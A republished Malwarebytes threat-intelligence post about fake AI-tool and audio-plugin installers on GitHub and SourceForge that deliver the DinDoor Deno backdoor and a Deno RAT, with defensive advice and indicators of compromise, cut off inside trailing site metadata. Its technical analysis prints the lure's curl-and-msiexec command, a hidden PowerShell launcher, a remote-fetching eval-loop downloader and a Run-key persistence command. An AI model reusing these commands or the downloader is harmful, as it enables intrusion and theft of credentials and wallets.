{"id":56923,"date":"2026-05-26T09:33:52","date_gmt":"2026-05-26T09:33:52","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=56923"},"modified":"2026-05-26T09:33:52","modified_gmt":"2026-05-26T09:33:52","slug":"fake-software-on-github-and-sourceforge-distribute-deno-rat","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=56923","title":{"rendered":"Fake software on GitHub and SourceForge distribute Deno RAT_MALWAREBYTES:533B45EDBE79B1BE1D01EAB1CA7FBE5B"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-26T14:05:07&#8243;,&#8221;description&#8221;:&#8221;During our threat hunting activities, we found fake installers and plugins impersonating popular software including ChatGPT, Claude, AutoTune, and Kontakt on GitHub and SourceForge distributing a Deno backdoor known as **DinDoor**. Attackers are using compromised YouTube channels to distribute links to these platforms. \\n\\nDinDoor ultimately drops different types of malware, including a stealthy remote access Trojan (RAT), which also uses the Deno JavaScript runtime. \\n\\nAttackers are increasingly abusing alternative JavaScript runtimes like Bun and Deno to bypass traditional detection methods. In one of our recent investigations we documented how attackers are using Bun as an initial infection vector to distribute NWHStealer. And in March, ThreatDown researchers also observed attackers using Deno to deliver CastleLoader through a multi-stage infection chain involving the ClickFix lure. \\n\\nThese campaigns use **Scoop** (an alternative installer for Windows) and **WinGet** (the official Windows package manager) to install Deno on the victim&#8217;s machine. They then use the Deno runtime to execute a RAT capable of executing additional payloads, exfiltrating data from browsers, wallets, and other applications, which has an interesting peer-to-peer feature that uses Edge to hide malicious traffic. \\n\\n## Legitimate platforms abused to spread malware\\n\\nThe infection chain is usually started via **MSI  files** or **PowerShell scripts**  downloaded from GitHub or SourceForge in most of the analyzed cases. Users are usually redirected to these malicious repositories via compromised YouTube channels. These videos currently total more than 50,000 views. \\n\\n![](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2026\/05\/image_befa3c.png) ![Compromised YouTube channels with AI-generated videos\u00a0](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2026\/05\/image_85cbc2.png)_Compromised YouTube channels with AI-generated videos_\\n\\nThe compromised YouTube channels create posts promoting different software and constantly switch between GitHub accounts to distribute the malware. \\n\\n![YouTube posts linking to the malicious GitHub repositories](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2026\/05\/image_6f0e91.png)_YouTube posts linking to the malicious GitHub repositories_\\n\\nThe fake software appears designed to target creators, AI enthusiasts, gamers, and technically inclined users who are more likely to download unofficial tools, cracked software, or community-distributed installers from sites like GitHub and SourceForge. We\u2019ve observed fake MSIs and scripts masquerading as installers and plugins for legitimate software and brands such as ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune, Kontakt. \\n\\n![GitHub repository for fake ChatGPT installer](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2026\/05\/image_4f1505.png)_GitHub repository for fake ChatGPT installer_\\n\\nThe malicious repositories have a command for both Windows and macOS. These repositories ask users to open the terminal and copy a malicious command, which downloads and executes the MSI from GitHub. \\n\\n![Fake plugin that asks the user to copy and execute the malicious command\u00a0](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2026\/05\/image_8b2584.png)_Fake plugin that asks the user to copy and execute the malicious command_\\n\\nMalicious GitHub accounts create multiple repositories filled with fake software and plugins related to popular software to lure in more users. \\n\\n![GitHub account with different malicious repositories](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2026\/05\/image_f92f85.png)_GitHub account with different malicious repositories_\\n\\nWe found that the same backdoor was distributed through SourceForge, mimicking a legitimate game software called GearUP and an AI watermark remover software called BWR. \\n\\n![](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2026\/05\/image_e5b648.png) ![](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2026\/05\/image_a7cb21.png)_The malicious MSI files hosted on SourceForge_\\n\\n## How to stay safe  \\n\\nThe attackers relied heavily on trust. GitHub and SourceForge are legitimate platforms, which makes fake projects look more convincing. We contacted GitHub, which quickly removed the malicious repositories, but users should expect new ones to continue appearing.\\n\\nHere are a few simple ways to stay safe: \\n\\n  * Only download software from official vendor websites. \\n  * Be skeptical of \u201cfree\u201d, cracked, or unofficial versions of paid software. \\n  * Be cautious with downloads from GitHub, SourceForge, forums, or file-sharing sites, especially from new or unknown accounts. \\n  * Attackers continue to create new profiles to distribute this malware across platforms. Check the developer or publisher\u2019s profile, its reputation, and how recently it was created before downloading anything. \\n  * Check that archive contents, images, and text files align with what you expected to download. Archive names and structures often follow recognizable malicious patterns. \\n  * Check the file&#8217;s publisher and digital signature before you run it. Windows, you can usually check this by right-clicking the file, selecting **Properties** \\u003e **Digital Signatures**. Keep in mind that a valid signature does not guarantee a file is safe, but missing or suspicious signatures are often a red flag. \\n\\n\\n\\n## Technical analysis \\n\\nThe malicious GitHub repositories ask the user to open cmd and execute a malicious command. The malicious commands download an MSI from GitHub and install it via `msiexec`. These repositories sometimes also contain PowerShell scripts to similarly initiate the infection chain. \\n\\nExample of a malicious command hosted on GitHub that starts the infection chain: \\n    \\n    \\n    curl -Lo %temp%\\\\s.msi https:\/\/raw.githubusercontent.com\/claude-free-plugin\/install\/main\/install.msi \\u0026\\u0026 msiexec \/i %temp%\\\\s.msi\u00a0\\n\\nThe MSI drops a CMD file and a PowerShell script in a random directory specified in the MSI `InstallationFolder` and registry values. We detected different structures for these MSIs, with JavaScript instead of the CMD file, or with additional embedded files.\\n\\n![The \u201cPs1File\u201d and \u201cCmdFile\u201d inside the MSI dropper](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2026\/05\/image_2bac02.png)_The \u201cPs1File\u201d and \u201cCmdFile\u201d inside the MSI dropper_\\n\\nThe CMD file executes the PowerShell script, with a name that changes in the analyzed infection chains: \\n    \\n    \\n    @set \\&#8221;SCRIPTDIR=%~dp0\\&#8221; @powershell.exe -NoProfile\u00a0-ExecutionPolicy\u00a0Bypass -WindowStyle\u00a0Hidden -Command \\&#8221;Start-Process\u00a0powershell\u00a0-ArgumentList\u00a0(&#8216;-NoProfile\u00a0-ExecutionPolicy\u00a0Bypass -WindowStyle\u00a0Hidden -File \\&#8221;\\&#8221;&#8216; + $env:SCRIPTDIR\u00a0+ &#8216;{Random name}.ps1\\&#8221;\\&#8221;&#8216;) -WindowStyle\u00a0Hidden\\&#8221;\u00a0\\n\\n![The executed PowerShell script](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2026\/05\/image_7027cd.png)_The executed PowerShell script_\\n\\nThe PowerShell script takes care of: \\n\\n  * Ensuring the package manager Scoop is installed, and installing it if missing with the official script from `get.scoop.sh`. Scoop is a popular, open-source command-line software installer and package manager for Microsoft Windows. \\n  * Using Scoop to install WinGet (Windows Package Manager) if missing.  \\n  * Installs Deno (a JavaScript\/TypeScript runtime) via WinGet or Scoop if not present.\\n\\n\\n\\nThe usage of the package managers Scoop and WinGet to install additional software on the compromised machine is an interesting approach that gives the attacker more flexibility. \\n\\nCommand executed to install Deno using WinGet: \\n    \\n    \\n    \\&#8221;C:\\\\Users\\\\admin\\\\scoop\\\\apps\\\\winget\\\\current\\\\winget.exe\\&#8221; install &#8211;id\u00a0DenoLand.Deno\u00a0-e &#8211;accept-source-agreements &#8211;accept-package-agreements &#8211;silent\\n\\n### The DinDoor Backdoor \\n\\nNext, the following stage is executed with the downloaded Deno executable: \\n    \\n    \\n    \\&#8221;C:\\\\Users\\\\admin\\\\AppData\\\\Local\\\\Microsoft\\\\WinGet\\\\Packages\\\\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\\\\deno.exe\\&#8221; run -A http:\/\/{C2}\/{random_path}.js\\n\\nThe returned code (the internal name is \u201clauncher-1\u201d) is a small eval-loop function that downloads the next stage (the internal name is \u201clauncher-2\u201d). The downloaded backdoor is publicly known as **DinDoor**. \\n    \\n    \\n    var a=\\&#8221;{C2}\\&#8221;.split(\\&#8221;,\\&#8221;),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+\\&#8221;\/{BUILD_ID}.js\\&#8221;);if(!t.ok)throw 0;e=await\u00a0t.text()}catch{i++,await new Promise(t=\\u003esetTimeout(t,5e3));continue}try{await(0,eval)(\\&#8221;(async()=\\u003e{\\&#8221;+e+\\&#8221;})()\\&#8221;)}catch{}await new Promise(t=\\u003esetTimeout(t,3e4))}\\n\\nThe backdoor handles persistence, sends information about the compromised system to the command-and-control server (C2), and executes additional payloads and commands returned by the C2. The HTTP endpoints used for C2 communications vary between the analyzed cases. \\n\\nThe backdoor obtains an ID from an HTTP endpoint (for example, `\/security-pool`) and then uses that ID to obtain the next stage from `\/v2{ID}.js`. \\n\\nThe obtained stage is executed via `stdin` without being written to disk, using the command: \\n    \\n    \\n    deno\u00a0run -A &#8211;no-check \u2013\\n\\nTo achieve persistence, the backdoor runs a PowerShell command to create a RUN key that executes the downloader \u201clauncher-1\u201d used previously: \\n    \\n    \\n    conhost.exe &#8211;headless \\&#8221;\\u003cdeno.exe\\u003e\\&#8221; -A \\&#8221;%APPDATA%\\\\\\u003chash\\u003e.js\\n\\nThis backdoor distributes several malware families in the analyzed cases. In this blog, we analyze one of the distributed payloads: a RAT that uses the Deno JavaScript runtime. \\n\\n### Deno RAT \\n\\nThe delivered RAT, like the other analyzed scripts, uses the Deno JavaScript environment and has full functionality to control the device, execute commands and payloads, and exfiltrate various types of data through its built-in stealer module.  \\n\\nWe did not find a specific name or attribution for this RAT. In the past, the RAT has been referred to as \u201cSmokest\u201d based on a specific value in the config. The similar commenting style and shared infrastructure suggest that the DinDoor developer and the RAT developer may be the same person or team. \\n\\n* * *\\n\\n![](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2025\/08\/icon-ltblue-bugelimination.original.svg?w=1024)\\n\\n### Picked up something you shouldn&#8217;t have?\\n\\nRUN A FREE VIRUS SCAN\\n\\n* * *\\n\\nIn addition to HTTP for C2 communication, the RAT also supports **WebSocket** communication, enabled when the JSON value `isLiveEnabled` returned from the C2 is set to true. \\n\\n![The main function of the Deno RAT](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2026\/05\/image_ae43ad.png)_The main function of the Deno RAT_\\n\\nThe RAT supports different commands (`exec`, `exec-ps`, `exec-sc`, `sysinfo`, `screenshot`, `stealer`) and functionality: \\n\\n  * Collect system information about the compromised device \\n  * Full bidirectional control through a custom VNC implementation over WebSocket \\n  * Target more than 50 crypto wallet extensions and 10 crypto software folders such as Atomic Wallet, Exodus, Electrum, and ByteCoin\\n  * Collect data from browsers including Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser, and Chromodo \\n  * Exfiltrate Telegram, Discord, and Lightcord data \\n  * Record and modify clipboard data \\n  * List folders, files and exfiltrate content from files with specific extensions \\n  * Capture screenshots using different methods \\n  * Execute additional payloads \\n  * Launch or terminate arbitrary processes \\n  * Execute commands with PowerShell \\n  * Establish SOCKS5 proxy tunnels over WebSocket \\n\\n\\n\\nOne of the most interesting parts of the RAT is a **peer-to-peer streaming mode** that uses the Edge browser to hide traffic and make detection more difficult. \\n\\nTo stream live video directly to the operator without routing it through the C2 server, the RAT spawns a hidden Microsoft Edge process and connects to it via Chrome DevTools Protocol (CDP). It then injects a small WebRTC HTML page into Edge, turning the legitimate browser into a peer-to-peer video relay. The Deno agent captures and H.264-encodes the victim&#8217;s screen, passes the frames to the Edge page over CDP, and Edge forwards them directly to the operator&#8217;s browser over an encrypted WebRTC DataChannel. SDP and ICE signaling, needed to establish the direct connection, is exchanged through the existing C2 WebSocket. \\n\\n![The injected HTML page inside Edge browser](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2026\/05\/image_1952d7.png)_The injected HTML page inside Edge browser_\\n\\nThe RAT uses the following endpoints for C2 communication, which can vary between samples: \\n\\n  * `\/health`: checks the \u201cok\u201d response from the C2 \\n  * `\/token`: receive config parameters, task delivery, results, and exfiltrated data \\n  * `\/vnc\/agent\/`: WebSocket path used for VNC communication \\n\\n\\n\\nThe config data is Base64-encoded and is sent in communications with the C2 as an authorization token. Decoded config data: \\n    \\n    \\n    {\u00a0\\n    \\n    \u00a0 \\&#8221;buildId\\&#8221;: \\&#8221;cd361ef3159f5ce9\\&#8221;,\u00a0\\n    \\n    \u00a0 \\&#8221;buildNote\\&#8221;: \\&#8221;BWR\\&#8221;,\u00a0\\n    \\n    \u00a0 \\&#8221;buildType\\&#8221;: \\&#8221;msi-v2\\&#8221;,\u00a0\\n    \\n    \u00a0 \\&#8221;proxyUrls\\&#8221;: [\\&#8221;{C2}\\&#8221;],\u00a0\\n    \\n    \u00a0 \\&#8221;userId\\&#8221;: \\&#8221;\u2026\\&#8221;,\u00a0\\n    \\n    \u00a0 \\&#8221;accessTokenHash\\&#8221;: \\&#8221;\u2026\\&#8221;,\u00a0\\n    \\n    \u00a0 \\&#8221;iat\\&#8221;: 1779372546,\u00a0\\n    \\n    \u00a0 \\&#8221;exp\\&#8221;: 2094948546\u00a0\\n    \\n    }\\n\\nWe found different versions of this RAT, including a \u201clight\u201d version called \u201cagent-lite\u201d that supports only a few commands and uses Cloudflare Workers for C2 communication. \\n\\n![The \u201clight\u201d version of the RAT](https:\/\/www.malwarebytes.com\/wp-content\/uploads\/sites\/2\/2026\/05\/image_e0a388.png)_The \u201clight\u201d version of the RAT_\\n\\n## Acknowledgements \\n\\n  * DinDoor: https:\/\/hunt.io\/blog\/dindoor-deno-runtime-backdoor-msi-analysis\\n  * Smokest: https:\/\/x.com\/vxunderground\/status\/2013006601133687004\\n\\n\\n\\n## Indicators of Compromise (IOCs) \\n\\n**URLs**\\n\\n  * `https[:]\/\/github.com\/claude-free-plugin\/`\\n  * `https[:]\/\/github.com\/ai-gen-profi `\\n  * `https[:]\/\/github.com\/wharfdemolisherpit `\\n  * `https[:]\/\/sourceforge.net\/projects\/gearup\/ `\\n  * `https[:]\/\/sourceforge.net\/projects\/bluewaveremover\/`\\n\\n\\n\\n**Domains**\\n\\n  * `claudescript[.]top`: distribution website \\n  * `ms-telemetry-gateway-us[.]com`: C2 \\n  * `dakatawebstick[.]com`: C2 \\n  * `ashpaltlonpro[.]com`: C2 \\n  * `cf-proxy[.]cloud-analytics-services[.]workers.dev`: C2 \\n  * `agilemast3r[.]duckdns[.]org`: C2 \\n  * `geralnewlong[.]com`: C2 \\n  * `hngfbgfbfb[.]cyou`: C2 \\n  * `logicalnewrestore[.]com`: C2\\n\\n\\n\\n**IPs**\\n\\n  * `23[.]227[.]196[.]107`: C2 \\n  * `45[.]137[.]99[.]121`: C2 \\n  * `31[.]57[.]129[.]23`: C2 \\n  * `66[.]78[.]40[.]107`: C2 \\n  * `193[.]233[.]198[.]132`: C2\\n\\n\\n\\n* * *\\n\\n**We don\u2019t just report on threats\u2014we remove them**\\n\\nCybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.&#8221;,&#8221;published&#8221;:&#8221;2026-05-26T13:07:09&#8243;,&#8221;modified&#8221;:&#8221;2026-05-26T13:07:09&#8243;,&#8221;type&#8221;:&#8221;malwarebytes&#8221;,&#8221;title&#8221;:&#8221;Fake software on GitHub and SourceForge distribute Deno RAT&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MALWAREBYTES:533B45EDBE79B1BE1D01EAB1CA7FBE5B&#8221;,&#8221;bulletinFamily&#8221;:&#8221;blog&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.malwarebytes.com\/blog\/threat-intel\/2026\/05\/fake-software-on-github-and-sourceforge-distribute-deno-rat&#8221;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-26T14:05:07&#8243;,&#8221;description&#8221;:&#8221;During our threat hunting activities, we found fake installers and plugins impersonating popular software including ChatGPT, Claude, AutoTune, and Kontakt on GitHub and SourceForge distributing&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,115,13,33,7,11,5],"class_list":["post-56923","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-malwarebytes","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Fake software on GitHub and SourceForge distribute Deno RAT_MALWAREBYTES:533B45EDBE79B1BE1D01EAB1CA7FBE5B - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=56923\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Fake software on GitHub and SourceForge distribute Deno RAT_MALWAREBYTES:533B45EDBE79B1BE1D01EAB1CA7FBE5B - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-26T14:05:07&#8243;,&#8221;description&#8221;:&#8221;During our threat hunting activities, we found fake installers and plugins impersonating popular software including ChatGPT, Claude, AutoTune, and Kontakt on GitHub and SourceForge distributing...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=56923\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-26T09:33:52+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56923#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56923\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Fake software on GitHub and SourceForge distribute Deno RAT_MALWAREBYTES:533B45EDBE79B1BE1D01EAB1CA7FBE5B\",\"datePublished\":\"2026-05-26T09:33:52+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56923\"},\"wordCount\":2336,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"malwarebytes\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=56923#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56923\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56923\",\"name\":\"Fake software on GitHub and SourceForge distribute Deno RAT_MALWAREBYTES:533B45EDBE79B1BE1D01EAB1CA7FBE5B - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-26T09:33:52+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56923#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=56923\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=56923#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Fake software on GitHub and SourceForge distribute Deno RAT_MALWAREBYTES:533B45EDBE79B1BE1D01EAB1CA7FBE5B\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Fake software on GitHub and SourceForge distribute Deno RAT_MALWAREBYTES:533B45EDBE79B1BE1D01EAB1CA7FBE5B - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=56923","og_locale":"en_US","og_type":"article","og_title":"Fake software on GitHub and SourceForge distribute Deno RAT_MALWAREBYTES:533B45EDBE79B1BE1D01EAB1CA7FBE5B - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-26T14:05:07&#8243;,&#8221;description&#8221;:&#8221;During our threat hunting activities, we found fake installers and plugins impersonating popular software including ChatGPT, Claude, AutoTune, and Kontakt on GitHub and SourceForge distributing...","og_url":"https:\/\/zero.redgem.net\/?p=56923","og_site_name":"zero redgem","article_published_time":"2026-05-26T09:33:52+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"12 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=56923#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=56923"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Fake software on GitHub and SourceForge distribute Deno RAT_MALWAREBYTES:533B45EDBE79B1BE1D01EAB1CA7FBE5B","datePublished":"2026-05-26T09:33:52+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=56923"},"wordCount":2336,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","malwarebytes","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=56923#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=56923","url":"https:\/\/zero.redgem.net\/?p=56923","name":"Fake software on GitHub and SourceForge distribute Deno RAT_MALWAREBYTES:533B45EDBE79B1BE1D01EAB1CA7FBE5B - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-26T09:33:52+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=56923#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=56923"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=56923#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Fake software on GitHub and SourceForge distribute Deno RAT_MALWAREBYTES:533B45EDBE79B1BE1D01EAB1CA7FBE5B"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 